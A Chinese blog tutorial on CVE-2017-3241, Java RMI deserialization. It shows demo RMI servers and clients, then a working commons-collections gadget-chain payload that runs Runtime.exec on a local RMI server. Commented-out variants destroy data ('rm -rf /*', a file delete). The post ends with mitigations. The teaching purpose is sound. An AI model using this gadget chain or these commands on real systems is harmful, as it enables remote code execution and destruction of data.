【CVE-2017-3241】Java RMI远程反序列化代码执行

对于Java RMI,只要是以对象为参数的接口,都可以在客户端构建一个对象,强迫服务端对这个存在于Class Path下可序列化类进行反序列化,从而执行一个不在计划内的方法。

一、了解什么是Java RMI?

RMI(Remote Method Invocation),即远程方法调用

1.1 是什么?
  • RMI是一个通信工具,支持存储于不同空间的应用级对象之间进行通信的工具,实现了远程对象之间的无缝调用。
  • 用于不同虚拟机之间的通信,通信的虚拟机可以不在同一个服务器。
  • RMI是标识了一些对象,允许被其它虚拟机直接远程调用。
1.2 调用步骤

【CVE-2017-3241】Java RMI远程反序列化代码执行_第1张图片

  • 创建远程接口,继承至Remote
  • 实现一个远程对象(实现类)
  • 将远程对象注册到RMI Registry(对外发布)
  • 客户端RMI可以通过访问服务器找到注册的远程对象
  • 客户端RMI将远程对象存根
  • 客户端调用类实现
  • 客户端RMI存根直接与服务端通信,服务端将结果返回给客户端RMI
  • 客户端RMI将拿到的信息返回给客户端
1.3 组成部分

RMI通信由三部分组成

  • RMI Registry,JDK提供的一个可以独立运行的程序(bin),默认端口1099
  • 服务端(Server)程序,提供服务实现类,并注册到RMIRegistry上对外暴露一个指定的名称
  • 客户端(Client)程序,通过服务端信息和一个已知的暴露名称,借用RMI远程访问。
1.4 通信过程

【CVE-2017-3241】Java RMI远程反序列化代码执行_第2张图片

  • 说明
    • Stub,存根,代理角色
    • Skeleton,骨干,实际调用服务端实现类方法
    • Rmote Reference Layer,远程引用层,处理通信
    • Transport Layer,传输层,管理连接的
  • 请求,客户端->存根->引用层->传输层,传递到服务端主机,传输层->引用层->骨干->服务端
  • 返回,服务端->骨干->引用层->传输层,返回信息到客户端主机,传输层->引用层->存根->客户端
二、尝试通过RMI远程调用
2.1 服务端:实现远程服务接口
package com.cloudcc.designmode.study01.rmiplay;

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * @author shancl
 */
public interface Services extends Remote {

    String sendUserInfo(UserInfo userInfo) throws RemoteException;

}
  • 必须抛出异常RemoteException,否则会异常(remote object implements illegal remote interface)
2.2 服务端:实现远程服务类
package com.cloudcc.designmode.study01.rmiplay;

/**
 * @author shancl
 */
public class RMIServer implements Services{

    @Override
    public String sendUserInfo(UserInfo userInfo) {
        String accountId = userInfo.getAccountId();
        System.out.println(accountId);
        if (accountId.contains("XXX")){
            return "XXX:acc000001";
        }else {
            return "Known: acc000002";
        }
    }

}
2.3 服务端:传输的对象
package com.cloudcc.designmode.study01.rmiplay;

import java.io.Serializable;

/**
 * @author shancl
 */
public class UserInfo implements Serializable {

    private String accountId;

    public String getAccountId() {
        System.out.println("我被远程调用了");
        return accountId;
    }

    public void setAccountId(String accountId) {
        this.accountId = accountId;
    }
}
2.4 服务端:对外暴露对象
package com.cloudcc.designmode.study01.rmiplay;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

/**
 * @author shancl
 */
public class ExecuteRmi {

    public static void main(String[] args) {
        System.out.println("启动服务端RMI");
        RMIServer rmiServer = new RMIServer();
        try {
            Services services = (Services) UnicastRemoteObject.exportObject(rmiServer, 8080);
            Registry registry;
            try {
                registry = LocateRegistry.createRegistry(8080);
                System.out.println("完成RMI Registry的创建。");
            }catch (Exception e){
                System.out.println("使用已经存在的RMI Registry。");
                registry = LocateRegistry.getRegistry();
            }
            registry.rebind("RMIServer", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

}
2.5 客户端:拷贝内容(服务接口、传输对象)
package com.cloudcc.designmode.study01.rmiplay;

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * @author  shancl
 */
public interface Services extends Remote {

    String sendUserInfo(UserInfo userInfo) throws RemoteException;
}

package com.cloudcc.designmode.study01.rmiplay;

import java.io.Serializable;

/**
 * @author shancl
 */
public class UserInfo implements Serializable {

    private String accountId;

    public String getAccountId() {
        System.out.println("我被远程调用了");
        return accountId;
    }

    public void setAccountId(String accountId) {
        this.accountId = accountId;
    }
}
2.6 客户端:远程调用对象
package com.cloudcc.designmode.study01.client;

import com.cloudcc.designmode.study01.hehe.PublicKnown;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import sun.rmi.server.UnicastRef;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author  shancl
 */
public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Services services = (Services) registry.lookup("RMIServer");
        // 正常调用
        UserInfo userInfo = new UserInfo();
        userInfo.setAccountId("我要获取XXX的账号ID,请返回给我。");
        System.out.println(services.sendUserInfo(userInfo));
    }
}
三、模拟远程执行不在计划内的方法
3.1 服务端:增加意外类(重现类)

只是重现,非模拟

package com.cloudcc.designmode.study01.hehe;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

/**
 * @author  shancl
 */
public class AccidentObject implements Serializable {

    private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
        stream.defaultReadObject();
        System.out.println("我被执行了,这确实不应该,但我也没办法,都是JDK的错。");
    }
}
3.2 客户端:构建意外类
  • 客户端构建类要求
    • 包路径、类名必须与服务端的问题类一致
    • 必须继承远程调用类的依赖类,这里指的是UserInfo
    • 内容暂时不必定,但并非没有意义
package com.cloudcc.designmode.study01.hehe;

import com.cloudcc.designmode.study01.rmiplay.UserInfo;

import java.io.Serializable;

/**
* @author  shancl
*/
public class AccidentObject extends UserInfo implements Serializable {

}
3.3 客户端:修改调用代码
package com.cloudcc.designmode.study01.client;

import com.cloudcc.designmode.study01.hehe.AccidentObject;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author  shancl
 */
public class RMIClient {

    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Services services = (Services) registry.lookup("RMIServer");
        AccidentObject accidentObject = new AccidentObject();
        accidentObject.setAccountId("随便给我个accountId");
        String s = services.sendUserInfo(accidentObject);
        System.out.println(s);
    }
}
  • 调用结果:服务端会执行不应该被执行的方法,即AccidentObject::readObject
四、模拟远程执行并修改变量值
4.1 服务端:模拟公用包的问题类(模拟类)
package com.cloudcc.designmode.study01.hehe;

import org.springframework.transaction.TransactionSystemException;
import org.springframework.util.StringUtils;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

/**
 * @author  shancl
 * 事务管理器
 */
public class CustomTx implements Serializable {

    public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";

    private ITransaction iTransaction;

    private String userTransactionName;

    private boolean autodetectUserTransaction;

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 模拟当前类存在事务
        this.iTransaction = new HasTransaction();
        // Rely on default serialization; just initialize state after deserialization.
        ois.defaultReadObject();
        System.out.println("不好我被执行了");
        // Perform a fresh lookup for JTA handles.
        System.out.println("我现在有事务管理器:" + this.iTransaction.getClass());
        initUserTransactionAndTransactionManager();
        System.out.println("事务管理器被修改了,现在是:" + this.iTransaction.getClass());
    }

    protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
        if (this.iTransaction == null) {
            // Fetch JTA UserTransaction from JNDI, if necessary.
            if (StringUtils.hasLength(this.userTransactionName)) {
                System.out.println("不好,tx name被篡改了,现在的名字是:" + this.userTransactionName);
                if (this.userTransactionName.equals(DEFAULT_USER_TRANSACTION_NAME)){
                    iTransaction = new HasTransaction();
                }else {
                    iTransaction = new NoneTransaction();
                }
            } else {
                this.iTransaction = retrieveUserTransaction();
                if (this.iTransaction == null && this.autodetectUserTransaction) {
                    this.iTransaction = findUserTransaction();
                }
            }
        }
    }

    private ITransaction findUserTransaction() {
        return new NoneTransaction();
    }

    private ITransaction retrieveUserTransaction() {
        this.autodetectUserTransaction = true;
        return null;
    }

    public String getUserTransactionName() {
        return userTransactionName;
    }

    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }
}
/**
 * @author shancl
 */
public interface ITransaction {
}

/**
 * @author shancl
 */
public class HasTransaction implements ITransaction{
}

/**
 * @author shancl
 */
public class NoneTransaction implements ITransaction{
}
4.2 客户端:定义问题类
package com.cloudcc.designmode.study01.hehe;

import com.cloudcc.designmode.study01.rmiplay.UserInfo;

import java.io.Serializable;

/**
 * @author shancl
 * 模拟事务管理器
 */
public class CustomTx extends UserInfo implements Serializable {

    // 序列来源说明
    public static final long serialVersionUID = 8530490060988692L;

    private String userTransactionName;

    public String getUserTransactionName() {
        return userTransactionName;
    }

    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }
}
4.3 客户端:调整调用代码
package com.cloudcc.designmode.study01.client;

import com.cloudcc.designmode.study01.hehe.CustomTx;
import com.cloudcc.designmode.study01.rmiplay.Services;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author  shancl
 */
public class RMIClient {

    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Services services = (Services) registry.lookup("RMIServer");
        // 模拟属性被修改
        CustomTx customTx = new CustomTx();
        customTx.setUserTransactionName("你被我修改了");
        services.sendUserInfo(customTx);
    }
}
  • 包路径、类名必须一致
  • 类变量的值也会被序列化
  • 序列化ID问题,服务端会把正确的序列化ID返回给客户端
五、问题类记录及演示
5.1 JtaTransactionManager
  • Maven
    <dependency>
    	<groupId>org.springframeworkgroupId>
    	<artifactId>spring-txartifactId>
    	<version>5.3.13version>
    dependency>
    
  • 攻击说明
    • 把仿造的JtaTransactionManager对象发送到服务器端时,服务端需要初始化各种对象,这就需要完整的环境,包含了spring-tx、jta包、apache common的日志等
    • 客户端也需要依赖以上包
    • 不要在意客户端的报错,只看readObject()有没有执行,正常情况客户端一定会报错,且是服务端返回给客户端的错误,即报错是服务端执行的报错。
    • 防漏洞处理,transient
5.2 commons-collections包漏洞
  • 可远程执行命令
  • 条件
    • jdk7或服务端重写了sun.reflect.annotation.AnnotationInvocationHandler
    • commons-collections低版本,3.1以下,以上没测试
  • 代码
    • Maven
    <dependency>
    	<groupId>commons-collectionsgroupId>
    	<artifactId>commons-collectionsartifactId>
    	<version>3.1version>
    dependency>
    
    • 服务端代码
    package com.cloudcc.designmode.study01.other;
    
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    
    /**
    * @author  shancl
    */
    public interface User extends Remote {
    
      String sayHello(String hello) throws RemoteException;
    
      void work(Object obj) throws RemoteException;
    
    }
    
    // 实现类
    package com.cloudcc.designmode.study01.other;
    
    import java.rmi.RemoteException;
    import java.rmi.server.RMIClientSocketFactory;
    import java.rmi.server.RMIServerSocketFactory;
    import java.rmi.server.UnicastRemoteObject;
    
    /**
    * @author shancl
    */
    public class UserImpl extends UnicastRemoteObject implements User {
    
      protected UserImpl() throws RemoteException {
      }
    
      protected UserImpl(int port) throws RemoteException {
      	super(port);
      }
    
      protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
      	super(port, csf, ssf);
      }
    
      @Override
      public String sayHello(String hello) throws RemoteException {
      	return "hello";
      }
    
      @Override
      public void work(Object obj) throws RemoteException {
      	System.out.println(obj);
      	System.out.println("work方法被调用了");
      }
    }
    
    // 暴露
    package com.cloudcc.designmode.study01.other;
    
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    /**
    * @author shancl
    */
    public class ExecuteServer {
    
      public static void main(String[] args) throws RemoteException {
      	User user = new UserImpl();
      	Registry registry = LocateRegistry.createRegistry(1099);
      	registry.rebind("user", user);
      	System.out.println("开始使用RMI......");
      }
    
    }
    
    • 客户端代码
    // 相同接口
    package com.cloudcc.designmode.study01.other;
    
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    
    /**
     * @author  shancl
     */
    public interface User extends Remote {
    
        String sayHello(String hello) throws RemoteException;
    
        void work(Object obj) throws RemoteException;
    }
    
    // 调用类
    package com.cloudcc.designmode.study01.other;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.rmi.Naming;
    import java.util.HashMap;
    import java.util.Map;
    
    /**
     * @author shancl
     */
    public class UserClient {
    
        public static void main(String[] args) throws Exception {
            String url = "rmi://127.0.0.1:1099/user";
            User user = (User) Naming.lookup(url);
            String hello = user.sayHello("hello");
            System.out.println(hello);
            user.work(getpayload());
        }
    
        public static Object getpayload() throws Exception{
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
                    // new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd", "/C", "rd D:\\aaa.txt"}})
    				// new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/sh", "-c", "rm -rf /*"}})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map<String, Object> map = new HashMap<>();
            map.put("value", "lala");
            Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
            Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            return ctor.newInstance(Target.class, transformedMap);
        }
    
    }
    
六、漏洞处理
  • 处理方式
    • 该漏洞新版本已修复,且前置条件很多,几乎不可能被利用
    • 公网不开放RMI的接口
    • 增加限制反序列化工具
  • 受漏洞影响的工具
    • 服务器
      • WebLogic、Apache、JBoss等中间件
      • JDK官方包、FastJson、Spring、Apache Commons等等
  • 漏洞原因
    • sun.rmi.serverUnicastRef类(rt.jar包)
    • 方法
    // 非基础类型会走readObject()方法,所有包含该方法的公共类都会被利用攻击
    protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, 		ClassNotFoundException {
    	if (var0.isPrimitive()) {
        	if (var0 == Integer.TYPE) {
            	return var1.readInt();
        	} else if (var0 == Boolean.TYPE) {
            	return var1.readBoolean();
        	} else if (var0 == Byte.TYPE) {
            	return var1.readByte();
        	} else if (var0 == Character.TYPE) {
            	return var1.readChar();
        	} else if (var0 == Short.TYPE) {
            	return var1.readShort();
        	} else if (var0 == Long.TYPE) {
            	return var1.readLong();
        	} else if (var0 == Float.TYPE) {
            	return var1.readFloat();
        	} else if (var0 == Double.TYPE) {
            	return var1.readDouble();
        	} else {
            	throw new Error("Unrecognized primitive type: " + var0);
        	}
    	} else {
        	return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
    	}
    }
    

你可能感兴趣的:(安全漏洞,安全,java,安全性测试)